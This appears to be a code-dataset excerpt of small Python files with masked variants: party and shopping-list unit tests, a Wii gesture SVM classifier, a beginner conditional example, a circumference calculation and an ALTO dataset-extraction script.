susan = Guest("susan", 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
party.leftBy(rob)
assert 2 == party.numberOfGuests()
def test_aPartyShouldHaveALocation():
party = Party()
party.setLocation("my House")
assert "my House" == party.getLocation()
def test_aGuestShouldRevealHerName():
guest1 = Guest("Lisa", "female")
assert "Lisa" == guest1.hasName()
def test_weShouldKnowWhoIsAtTheParty():
party = Party()
lisa = Guest("Lisa", 'female')
rob = Guest("Rob", 'male')
susan = Guest("susan", 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
assert ["Lisa", "Rob", "susan"] == party.getAttendees()
def test_weShouldBeAbleToCreateAnEmptyShoppingList():
shoppingList = ShoppingList()
assert shoppingList.getItems() == []
def test_weShouldBeAbleToAddItemsToShoppingList():
shoppingList = ShoppingList()
shoppingList.add("milk")
assert shoppingList.getItems() == ["milk"]
def test_createShoppingListBasedOnParty():
shoppingList = ShoppingList()
party = Party()
lisa = Guest("Lisa", 'female')
rob = Guest("Rob", 'male')
susan = Guest("susan", 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
shoppingList.baseOn(party)
assert shoppingList.getItems() == ["wine for 4", "food for 4"]
|
flexible
|
{
"blob_id": "a8df6b575afbf6db415e0676a796623f2a9b7a70",
"index": 8416,
"step-1": "<mask token>\n\n\ndef test_aPartywithOneGuestShouldHaveOnePartyGuest():\n party = Party()\n lisa = Guest('Lisa', 'female')\n party.attendedBy(lisa)\n assert 1 == party.numberOfGuests()\n\n\ndef test_aPartywithThreeGuestsShouldHaveThreeGuests():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n assert 3 == party.numberOfGuests()\n\n\n<mask token>\n\n\ndef test_aPartyShouldHaveALocation():\n party = Party()\n party.setLocation('my House')\n assert 'my House' == party.getLocation()\n\n\ndef test_aGuestShouldRevealHerName():\n guest1 = Guest('Lisa', 'female')\n assert 'Lisa' == guest1.hasName()\n\n\n<mask token>\n\n\ndef test_weShouldBeAbleToAddItemsToShoppingList():\n shoppingList = ShoppingList()\n shoppingList.add('milk')\n assert shoppingList.getItems() == ['milk']\n\n\ndef test_createShoppingListBasedOnParty():\n shoppingList = ShoppingList()\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n shoppingList.baseOn(party)\n assert shoppingList.getItems() == ['wine for 4', 'food for 4']\n",
"step-2": "<mask token>\n\n\ndef test_aPartywithNoGuestsShouldHaveNoPartyGuests():\n party = Party()\n assert 0 == party.numberOfGuests()\n\n\ndef test_aPartywithOneGuestShouldHaveOnePartyGuest():\n party = Party()\n lisa = Guest('Lisa', 'female')\n party.attendedBy(lisa)\n assert 1 == party.numberOfGuests()\n\n\ndef test_aPartywithThreeGuestsShouldHaveThreeGuests():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n assert 3 == party.numberOfGuests()\n\n\ndef test_aGuestShouldBeAbleToLeaveAParty():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n party.leftBy(rob)\n assert 2 == party.numberOfGuests()\n\n\ndef test_aPartyShouldHaveALocation():\n party = Party()\n party.setLocation('my House')\n assert 'my House' == party.getLocation()\n\n\ndef test_aGuestShouldRevealHerName():\n guest1 = Guest('Lisa', 'female')\n assert 'Lisa' == guest1.hasName()\n\n\n<mask token>\n\n\ndef test_weShouldBeAbleToAddItemsToShoppingList():\n shoppingList = ShoppingList()\n shoppingList.add('milk')\n assert shoppingList.getItems() == ['milk']\n\n\ndef test_createShoppingListBasedOnParty():\n shoppingList = ShoppingList()\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n shoppingList.baseOn(party)\n assert shoppingList.getItems() == ['wine for 4', 'food for 4']\n",
"step-3": "<mask token>\n\n\ndef test_aPartywithNoGuestsShouldHaveNoPartyGuests():\n party = Party()\n assert 0 == party.numberOfGuests()\n\n\ndef test_aPartywithOneGuestShouldHaveOnePartyGuest():\n party = Party()\n lisa = Guest('Lisa', 'female')\n party.attendedBy(lisa)\n assert 1 == party.numberOfGuests()\n\n\ndef test_aPartywithThreeGuestsShouldHaveThreeGuests():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n assert 3 == party.numberOfGuests()\n\n\ndef test_aGuestShouldBeAbleToLeaveAParty():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n party.leftBy(rob)\n assert 2 == party.numberOfGuests()\n\n\ndef test_aPartyShouldHaveALocation():\n party = Party()\n party.setLocation('my House')\n assert 'my House' == party.getLocation()\n\n\ndef test_aGuestShouldRevealHerName():\n guest1 = Guest('Lisa', 'female')\n assert 'Lisa' == guest1.hasName()\n\n\ndef test_weShouldKnowWhoIsAtTheParty():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n assert ['Lisa', 'Rob', 'susan'] == party.getAttendees()\n\n\n<mask token>\n\n\ndef test_weShouldBeAbleToAddItemsToShoppingList():\n shoppingList = ShoppingList()\n shoppingList.add('milk')\n assert shoppingList.getItems() == ['milk']\n\n\ndef test_createShoppingListBasedOnParty():\n shoppingList = ShoppingList()\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n shoppingList.baseOn(party)\n assert shoppingList.getItems() == ['wine for 4', 'food for 4']\n",
"step-4": "<mask token>\n\n\ndef test_aPartywithNoGuestsShouldHaveNoPartyGuests():\n party = Party()\n assert 0 == party.numberOfGuests()\n\n\ndef test_aPartywithOneGuestShouldHaveOnePartyGuest():\n party = Party()\n lisa = Guest('Lisa', 'female')\n party.attendedBy(lisa)\n assert 1 == party.numberOfGuests()\n\n\ndef test_aPartywithThreeGuestsShouldHaveThreeGuests():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n assert 3 == party.numberOfGuests()\n\n\ndef test_aGuestShouldBeAbleToLeaveAParty():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n party.leftBy(rob)\n assert 2 == party.numberOfGuests()\n\n\ndef test_aPartyShouldHaveALocation():\n party = Party()\n party.setLocation('my House')\n assert 'my House' == party.getLocation()\n\n\ndef test_aGuestShouldRevealHerName():\n guest1 = Guest('Lisa', 'female')\n assert 'Lisa' == guest1.hasName()\n\n\ndef test_weShouldKnowWhoIsAtTheParty():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n assert ['Lisa', 'Rob', 'susan'] == party.getAttendees()\n\n\ndef test_weShouldBeAbleToCreateAnEmptyShoppingList():\n shoppingList = ShoppingList()\n assert shoppingList.getItems() == []\n\n\ndef test_weShouldBeAbleToAddItemsToShoppingList():\n shoppingList = ShoppingList()\n shoppingList.add('milk')\n assert shoppingList.getItems() == ['milk']\n\n\ndef test_createShoppingListBasedOnParty():\n shoppingList = ShoppingList()\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n shoppingList.baseOn(party)\n assert shoppingList.getItems() == ['wine for 4', 'food for 4']\n",
"step-5": "import unittest\nfrom app.party import Party\nfrom app.guest import Guest\nfrom app.shoppingList import ShoppingList\n\ndef test_aPartywithNoGuestsShouldHaveNoPartyGuests():\n\tparty = Party()\n\tassert 0 == party.numberOfGuests()\n\n\ndef test_aPartywithOneGuestShouldHaveOnePartyGuest():\n\tparty = Party()\n\tlisa = Guest(\"Lisa\", 'female')\n\tparty.attendedBy(lisa)\n\tassert 1 == party.numberOfGuests()\n\ndef test_aPartywithThreeGuestsShouldHaveThreeGuests():\n\tparty = Party()\n\tlisa = Guest(\"Lisa\", 'female')\n\trob = Guest(\"Rob\", 'male')\n\tsusan = Guest(\"susan\", 'female')\n\tparty.attendedBy(lisa)\n\tparty.attendedBy(rob)\n\tparty.attendedBy(susan)\n\tassert 3 == party.numberOfGuests()\n\ndef test_aGuestShouldBeAbleToLeaveAParty():\n\tparty = Party()\n\tlisa = Guest(\"Lisa\", 'female')\n\trob = Guest(\"Rob\", 'male')\n\tsusan = Guest(\"susan\", 'female')\n\tparty.attendedBy(lisa)\n\tparty.attendedBy(rob)\n\tparty.attendedBy(susan)\n\tparty.leftBy(rob)\n\tassert 2 == party.numberOfGuests()\n\ndef test_aPartyShouldHaveALocation():\n\tparty = Party()\n\tparty.setLocation(\"my House\")\n\tassert \"my House\" == party.getLocation()\n\n\ndef test_aGuestShouldRevealHerName():\n\tguest1 = Guest(\"Lisa\", \"female\")\n\tassert \"Lisa\" == guest1.hasName()\n\ndef test_weShouldKnowWhoIsAtTheParty():\n\tparty = Party()\n\tlisa = Guest(\"Lisa\", 'female')\n\trob = Guest(\"Rob\", 'male')\n\tsusan = Guest(\"susan\", 'female')\n\tparty.attendedBy(lisa)\n\tparty.attendedBy(rob)\n\tparty.attendedBy(susan)\n\tassert [\"Lisa\", \"Rob\", \"susan\"] == party.getAttendees()\n\n\ndef test_weShouldBeAbleToCreateAnEmptyShoppingList():\n\tshoppingList = ShoppingList()\n\tassert shoppingList.getItems() == []\n\ndef test_weShouldBeAbleToAddItemsToShoppingList():\n\tshoppingList = ShoppingList()\n\tshoppingList.add(\"milk\")\n\tassert shoppingList.getItems() == [\"milk\"]\n\n\ndef test_createShoppingListBasedOnParty():\n\tshoppingList = ShoppingList()\n\tparty = Party()\n\tlisa = Guest(\"Lisa\", 'female')\n\trob = Guest(\"Rob\", 'male')\n\tsusan = Guest(\"susan\", 'female')\n\tparty.attendedBy(lisa)\n\tparty.attendedBy(rob)\n\tparty.attendedBy(susan)\n\tshoppingList.baseOn(party)\n\tassert shoppingList.getItems() == [\"wine for 4\", \"food for 4\"]\n\n\n",
"step-ids": [
6,
8,
9,
10,
12
]
}
|
[
6,
8,
9,
10,
12
] |
import math
r = float(input())
p = int(input())
obim = 2 * r * math.pi
ukupanPut = p * obim
# centimetre pretvaramo u metre
ukupanPut = ukupanPut * 0.01
print("%.2f" % ukupanPut)
|
normal
|
{
"blob_id": "1f27b697985c7417e6d8d978703175a415c6c57d",
"index": 327,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint('%.2f' % ukupanPut)\n",
"step-3": "<mask token>\nr = float(input())\np = int(input())\nobim = 2 * r * math.pi\nukupanPut = p * obim\nukupanPut = ukupanPut * 0.01\nprint('%.2f' % ukupanPut)\n",
"step-4": "import math\nr = float(input())\np = int(input())\nobim = 2 * r * math.pi\nukupanPut = p * obim\nukupanPut = ukupanPut * 0.01\nprint('%.2f' % ukupanPut)\n",
"step-5": "import math\n\nr = float(input())\np = int(input())\nobim = 2 * r * math.pi\nukupanPut = p * obim\n# centimetre pretvaramo u metre\nukupanPut = ukupanPut * 0.01\nprint(\"%.2f\" % ukupanPut)\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
import numpy as np
from scipy import fft
import math
from sklearn import svm
from activity_recognition import WiiGesture
class WiiGestureClassifier():
"""
This class uses the FFT on the average of all three sensor values
to provide the training data for the SVM
Three good distinguishable gestures are:
Fast circle movement
Still, doing nothing
Fast swing movement from behind the shoulder (like a whip)
"""
def __init__(self):
super(self.__class__, self).__init__()
def train(self, gestureList):
self.gestureList = gestureList
self.parsedGestureList = []
self.parseArrays(self.gestureList)
if self.checkListForEmpty():
return "\na gesture has no trained samples"
self.minlen = self.calcMinLength()
self.cutGestureList()
self.getFrequencies()
self.buildClassifier()
def parseArrays(self, data):
parsedData = []
for gesture in data:
parsedGesture = WiiGesture(gesture.name)
parsedData = [self.parseDataset(dataSet)
for dataSet in gesture.trainingsData]
parsedGesture.trainingsData = parsedData
self.parsedGestureList.append(parsedGesture)
def parseDataset(self, dataSet):
x = []
y = []
z = []
avg = []
#Use the difference from default sensor value
for values in dataSet:
x.append(values[0]-512)
y.append(values[1]-512)
z.append(values[2]-512)
avg.append((values[0]-512 + values[1]-512 + values[2]-512) / 3)
return avg
def calcMinLength(self):
all = []
for gesture in self.parsedGestureList:
all += gesture.trainingsData
minlen = min([len(x) for x in all])
return minlen
def cutGestureList(self):
for gesture in self.parsedGestureList:
gesture.trainingsData = [l[:self.minlen] for l in gesture.trainingsData]
def getFrequencies(self):
for gesture in self.parsedGestureList:
gesture.frequencies = [
np.abs(fft(l) / len(l))[1:len(l) / 2] for l in gesture.trainingsData]
def buildClassifier(self):
self.c = svm.SVC()
count = 0
categories = []
trainingData = []
for gesture in self.parsedGestureList:
categories += [count] * len(gesture.frequencies)
trainingData += gesture.frequencies
count += 1
try:
self.c.fit(trainingData, categories)
except ValueError:
return 'More traininsdata for some gestures required'
def classify(self, gesture):
parsedData = []
parsedGesture = WiiGesture(gesture.name)
parsedData = [self.parseDataset(dataSet) for dataSet in gesture.trainingsData]
parsedGesture.trainingsData = parsedData
if len(parsedGesture.trainingsData[0]) < self.minlen:
missingValues = self.minlen - len(parsedGesture.trainingsData[0])
for x in range(missingValues):
parsedGesture.trainingsData[0].append(0)
parsedGesture.trainingsData = [l[:self.minlen] for l in parsedGesture.trainingsData]
parsedGesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for l in parsedGesture.trainingsData]
return self.c.predict(parsedGesture.frequencies[0])
def checkListForEmpty(self):
#checks for empty gestures and exits code
if len(self.parsedGestureList) <= 0:
return True
for gesture in self.parsedGestureList:
if len(gesture.trainingsData) <= 0:
return True
else:
return False
|
normal
|
{
"blob_id": "0b7bba826b82c3751c072395431e17bc1dc9bb90",
"index": 6037,
"step-1": "<mask token>\n\n\nclass WiiGestureClassifier:\n <mask token>\n\n def __init__(self):\n super(self.__class__, self).__init__()\n <mask token>\n\n def parseArrays(self, data):\n parsedData = []\n for gesture in data:\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture\n .trainingsData]\n parsedGesture.trainingsData = parsedData\n self.parsedGestureList.append(parsedGesture)\n <mask token>\n\n def calcMinLength(self):\n all = []\n for gesture in self.parsedGestureList:\n all += gesture.trainingsData\n minlen = min([len(x) for x in all])\n return minlen\n\n def cutGestureList(self):\n for gesture in self.parsedGestureList:\n gesture.trainingsData = [l[:self.minlen] for l in gesture.\n trainingsData]\n <mask token>\n\n def buildClassifier(self):\n self.c = svm.SVC()\n count = 0\n categories = []\n trainingData = []\n for gesture in self.parsedGestureList:\n categories += [count] * len(gesture.frequencies)\n trainingData += gesture.frequencies\n count += 1\n try:\n self.c.fit(trainingData, categories)\n except ValueError:\n return 'More traininsdata for some gestures required'\n\n def classify(self, gesture):\n parsedData = []\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture.\n trainingsData]\n parsedGesture.trainingsData = parsedData\n if len(parsedGesture.trainingsData[0]) < self.minlen:\n missingValues = self.minlen - len(parsedGesture.trainingsData[0])\n for x in range(missingValues):\n parsedGesture.trainingsData[0].append(0)\n parsedGesture.trainingsData = [l[:self.minlen] for l in\n parsedGesture.trainingsData]\n parsedGesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for\n l in parsedGesture.trainingsData]\n return self.c.predict(parsedGesture.frequencies[0])\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass WiiGestureClassifier:\n <mask token>\n\n def __init__(self):\n super(self.__class__, self).__init__()\n <mask token>\n\n def parseArrays(self, data):\n parsedData = []\n for gesture in data:\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture\n .trainingsData]\n parsedGesture.trainingsData = parsedData\n self.parsedGestureList.append(parsedGesture)\n <mask token>\n\n def calcMinLength(self):\n all = []\n for gesture in self.parsedGestureList:\n all += gesture.trainingsData\n minlen = min([len(x) for x in all])\n return minlen\n\n def cutGestureList(self):\n for gesture in self.parsedGestureList:\n gesture.trainingsData = [l[:self.minlen] for l in gesture.\n trainingsData]\n <mask token>\n\n def buildClassifier(self):\n self.c = svm.SVC()\n count = 0\n categories = []\n trainingData = []\n for gesture in self.parsedGestureList:\n categories += [count] * len(gesture.frequencies)\n trainingData += gesture.frequencies\n count += 1\n try:\n self.c.fit(trainingData, categories)\n except ValueError:\n return 'More traininsdata for some gestures required'\n\n def classify(self, gesture):\n parsedData = []\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture.\n trainingsData]\n parsedGesture.trainingsData = parsedData\n if len(parsedGesture.trainingsData[0]) < self.minlen:\n missingValues = self.minlen - len(parsedGesture.trainingsData[0])\n for x in range(missingValues):\n parsedGesture.trainingsData[0].append(0)\n parsedGesture.trainingsData = [l[:self.minlen] for l in\n parsedGesture.trainingsData]\n parsedGesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for\n l in parsedGesture.trainingsData]\n return self.c.predict(parsedGesture.frequencies[0])\n\n def checkListForEmpty(self):\n if len(self.parsedGestureList) <= 0:\n return True\n for gesture in self.parsedGestureList:\n if len(gesture.trainingsData) <= 0:\n return True\n else:\n return False\n",
"step-3": "<mask token>\n\n\nclass WiiGestureClassifier:\n <mask token>\n\n def __init__(self):\n super(self.__class__, self).__init__()\n\n def train(self, gestureList):\n self.gestureList = gestureList\n self.parsedGestureList = []\n self.parseArrays(self.gestureList)\n if self.checkListForEmpty():\n return '\\na gesture has no trained samples'\n self.minlen = self.calcMinLength()\n self.cutGestureList()\n self.getFrequencies()\n self.buildClassifier()\n\n def parseArrays(self, data):\n parsedData = []\n for gesture in data:\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture\n .trainingsData]\n parsedGesture.trainingsData = parsedData\n self.parsedGestureList.append(parsedGesture)\n <mask token>\n\n def calcMinLength(self):\n all = []\n for gesture in self.parsedGestureList:\n all += gesture.trainingsData\n minlen = min([len(x) for x in all])\n return minlen\n\n def cutGestureList(self):\n for gesture in self.parsedGestureList:\n gesture.trainingsData = [l[:self.minlen] for l in gesture.\n trainingsData]\n\n def getFrequencies(self):\n for gesture in self.parsedGestureList:\n gesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for\n l in gesture.trainingsData]\n\n def buildClassifier(self):\n self.c = svm.SVC()\n count = 0\n categories = []\n trainingData = []\n for gesture in self.parsedGestureList:\n categories += [count] * len(gesture.frequencies)\n trainingData += gesture.frequencies\n count += 1\n try:\n self.c.fit(trainingData, categories)\n except ValueError:\n return 'More traininsdata for some gestures required'\n\n def classify(self, gesture):\n parsedData = []\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture.\n trainingsData]\n parsedGesture.trainingsData = parsedData\n if len(parsedGesture.trainingsData[0]) < self.minlen:\n missingValues = self.minlen - len(parsedGesture.trainingsData[0])\n for x in range(missingValues):\n parsedGesture.trainingsData[0].append(0)\n parsedGesture.trainingsData = [l[:self.minlen] for l in\n parsedGesture.trainingsData]\n parsedGesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for\n l in parsedGesture.trainingsData]\n return self.c.predict(parsedGesture.frequencies[0])\n\n def checkListForEmpty(self):\n if len(self.parsedGestureList) <= 0:\n return True\n for gesture in self.parsedGestureList:\n if len(gesture.trainingsData) <= 0:\n return True\n else:\n return False\n",
"step-4": "import numpy as np\nfrom scipy import fft\nimport math\nfrom sklearn import svm\nfrom activity_recognition import WiiGesture\n\n\nclass WiiGestureClassifier:\n \"\"\"\n This class uses the FFT on the average of all three sensor values\n to provide the training data for the SVM\n\n Three good distinguishable gestures are:\n Fast circle movement\n Still, doing nothing\n Fast swing movement from behind the shoulder (like a whip)\n \"\"\"\n\n def __init__(self):\n super(self.__class__, self).__init__()\n\n def train(self, gestureList):\n self.gestureList = gestureList\n self.parsedGestureList = []\n self.parseArrays(self.gestureList)\n if self.checkListForEmpty():\n return '\\na gesture has no trained samples'\n self.minlen = self.calcMinLength()\n self.cutGestureList()\n self.getFrequencies()\n self.buildClassifier()\n\n def parseArrays(self, data):\n parsedData = []\n for gesture in data:\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture\n .trainingsData]\n parsedGesture.trainingsData = parsedData\n self.parsedGestureList.append(parsedGesture)\n\n def parseDataset(self, dataSet):\n x = []\n y = []\n z = []\n avg = []\n for values in dataSet:\n x.append(values[0] - 512)\n y.append(values[1] - 512)\n z.append(values[2] - 512)\n avg.append((values[0] - 512 + values[1] - 512 + values[2] - 512\n ) / 3)\n return avg\n\n def calcMinLength(self):\n all = []\n for gesture in self.parsedGestureList:\n all += gesture.trainingsData\n minlen = min([len(x) for x in all])\n return minlen\n\n def cutGestureList(self):\n for gesture in self.parsedGestureList:\n gesture.trainingsData = [l[:self.minlen] for l in gesture.\n trainingsData]\n\n def getFrequencies(self):\n for gesture in self.parsedGestureList:\n gesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for\n l in gesture.trainingsData]\n\n def buildClassifier(self):\n self.c = svm.SVC()\n count = 0\n categories = []\n trainingData = []\n for gesture in self.parsedGestureList:\n categories += [count] * len(gesture.frequencies)\n trainingData += gesture.frequencies\n count += 1\n try:\n self.c.fit(trainingData, categories)\n except ValueError:\n return 'More traininsdata for some gestures required'\n\n def classify(self, gesture):\n parsedData = []\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture.\n trainingsData]\n parsedGesture.trainingsData = parsedData\n if len(parsedGesture.trainingsData[0]) < self.minlen:\n missingValues = self.minlen - len(parsedGesture.trainingsData[0])\n for x in range(missingValues):\n parsedGesture.trainingsData[0].append(0)\n parsedGesture.trainingsData = [l[:self.minlen] for l in\n parsedGesture.trainingsData]\n parsedGesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for\n l in parsedGesture.trainingsData]\n return self.c.predict(parsedGesture.frequencies[0])\n\n def checkListForEmpty(self):\n if len(self.parsedGestureList) <= 0:\n return True\n for gesture in self.parsedGestureList:\n if len(gesture.trainingsData) <= 0:\n return True\n else:\n return False\n",
"step-5": "import numpy as np\nfrom scipy import fft\nimport math\nfrom sklearn import svm\nfrom activity_recognition import WiiGesture\n\n\nclass WiiGestureClassifier():\n \"\"\"\n This class uses the FFT on the average of all three sensor values\n to provide the training data for the SVM\n\n Three good distinguishable gestures are:\n Fast circle movement\n Still, doing nothing\n Fast swing movement from behind the shoulder (like a whip)\n \"\"\"\n def __init__(self):\n super(self.__class__, self).__init__()\n\n def train(self, gestureList):\n self.gestureList = gestureList\n self.parsedGestureList = []\n self.parseArrays(self.gestureList)\n if self.checkListForEmpty():\n return \"\\na gesture has no trained samples\"\n self.minlen = self.calcMinLength()\n self.cutGestureList()\n self.getFrequencies()\n self.buildClassifier()\n\n\n def parseArrays(self, data):\n parsedData = []\n for gesture in data:\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet)\n for dataSet in gesture.trainingsData]\n parsedGesture.trainingsData = parsedData\n self.parsedGestureList.append(parsedGesture)\n\n def parseDataset(self, dataSet):\n x = []\n y = []\n z = []\n avg = []\n #Use the difference from default sensor value\n for values in dataSet:\n x.append(values[0]-512)\n y.append(values[1]-512)\n z.append(values[2]-512)\n avg.append((values[0]-512 + values[1]-512 + values[2]-512) / 3)\n return avg\n\n def calcMinLength(self):\n all = []\n for gesture in self.parsedGestureList:\n all += gesture.trainingsData\n minlen = min([len(x) for x in all])\n return minlen\n\n def cutGestureList(self):\n for gesture in self.parsedGestureList:\n gesture.trainingsData = [l[:self.minlen] for l in gesture.trainingsData]\n\n def getFrequencies(self):\n for gesture in self.parsedGestureList:\n gesture.frequencies = [\n np.abs(fft(l) / len(l))[1:len(l) / 2] for l in gesture.trainingsData]\n\n def buildClassifier(self):\n self.c = svm.SVC()\n count = 0\n categories = []\n trainingData = []\n for gesture in self.parsedGestureList:\n categories += [count] * len(gesture.frequencies)\n trainingData += gesture.frequencies\n count += 1\n try:\n self.c.fit(trainingData, categories)\n except ValueError:\n return 'More traininsdata for some gestures required'\n\n def classify(self, gesture):\n parsedData = []\n parsedGesture = WiiGesture(gesture.name)\n parsedData = [self.parseDataset(dataSet) for dataSet in gesture.trainingsData]\n parsedGesture.trainingsData = parsedData\n if len(parsedGesture.trainingsData[0]) < self.minlen:\n missingValues = self.minlen - len(parsedGesture.trainingsData[0])\n for x in range(missingValues):\n parsedGesture.trainingsData[0].append(0)\n parsedGesture.trainingsData = [l[:self.minlen] for l in parsedGesture.trainingsData]\n parsedGesture.frequencies = [np.abs(fft(l) / len(l))[1:len(l) / 2] for l in parsedGesture.trainingsData]\n return self.c.predict(parsedGesture.frequencies[0])\n\n def checkListForEmpty(self):\n #checks for empty gestures and exits code\n if len(self.parsedGestureList) <= 0:\n return True\n for gesture in self.parsedGestureList:\n if len(gesture.trainingsData) <= 0:\n return True\n else:\n return False",
"step-ids": [
7,
8,
10,
13,
14
]
}
|
[
7,
8,
10,
13,
14
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
if real_fdragon50 == input:
print('Hello!')
else:
print('Who are you')
<|reserved_special_token_1|>
<|reserved_special_token_0|>
input = 11
real_fdragon50 = 11
if real_fdragon50 == input:
print('Hello!')
else:
print('Who are you')
<|reserved_special_token_1|>
'''
#조건문 예제
#fdragon50
#2016
'''
# 주석 : 도움말/덧글 / 미사용(추후 사용가능한) 코드 기록
# 여러줄의 문자열 표현은 ''' ''' 사이에 표현 가능하나 사용은 권장않음
# #으로 시작하는것은 문자열 자체가 아닌.. 무시되는 구간
# 주석은 누가봐도 이해할수있게 / 간결하게
# 더 좋은것은 누가봐도 이해할수 있는 코드임
# 가독성이 좋은 코드를 만들수 있도록..
#조건문 예제
#fdragon50
#2016
input = 11
real_fdragon50 = 11
#real_k8805 = "ab"
if real_fdragon50 == input:
print("Hello!")
#elif real_k8805 == input:
# print("Hello!")
else:
print("Who are you")
|
flexible
|
{
"blob_id": "2da6debb1f9ae2c966a17fdfb3b668160a3ef8d7",
"index": 1384,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nif real_fdragon50 == input:\n print('Hello!')\nelse:\n print('Who are you')\n",
"step-3": "<mask token>\ninput = 11\nreal_fdragon50 = 11\nif real_fdragon50 == input:\n print('Hello!')\nelse:\n print('Who are you')\n",
"step-4": "'''\n#조건문 예제\n#fdragon50\n#2016\n'''\n\n\n# 주석 : 도움말/덧글 / 미사용(추후 사용가능한) 코드 기록\n# 여러줄의 문자열 표현은 ''' ''' 사이에 표현 가능하나 사용은 권장않음\n# #으로 시작하는것은 문자열 자체가 아닌.. 무시되는 구간\n# 주석은 누가봐도 이해할수있게 / 간결하게\n# 더 좋은것은 누가봐도 이해할수 있는 코드임\n# 가독성이 좋은 코드를 만들수 있도록..\n\n#조건문 예제\n#fdragon50\n#2016\n\n\ninput = 11\nreal_fdragon50 = 11\n#real_k8805 = \"ab\"\n\nif real_fdragon50 == input:\n print(\"Hello!\")\n#elif real_k8805 == input:\n# print(\"Hello!\")\nelse:\n print(\"Who are you\")\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
import glob
from collections import defaultdict
from stylalto.datasets.extractor import read_alto_for_training, extract_images_from_bbox_dict_for_training, split_dataset
data = defaultdict(list)
images = {}
for xml_path in glob.glob("./input/**/*.xml", recursive=True):
current, image = read_alto_for_training(xml_path)
images[image] = current
for key in current:
data[key].extend(current[key])
minimum = float("inf")
for cls in data:
total = sum([len(val) for val in data.values()])
print(f"{cls.zfill(10).replace('0', ' ')} : {len(data[cls]) / total:.2f} of the whole ({len(data[cls])})")
minimum = min([len(data[cls]), minimum])
# Extract images
extract_images_from_bbox_dict_for_training(images, output_dir="./data/")
# Split into dataset
split_dataset("./data/*", max_size=minimum, except_for_train=True)
|
normal
|
{
"blob_id": "41e642c4acb212470577ef43908a1dcf2e0f5730",
"index": 7159,
"step-1": "<mask token>\n",
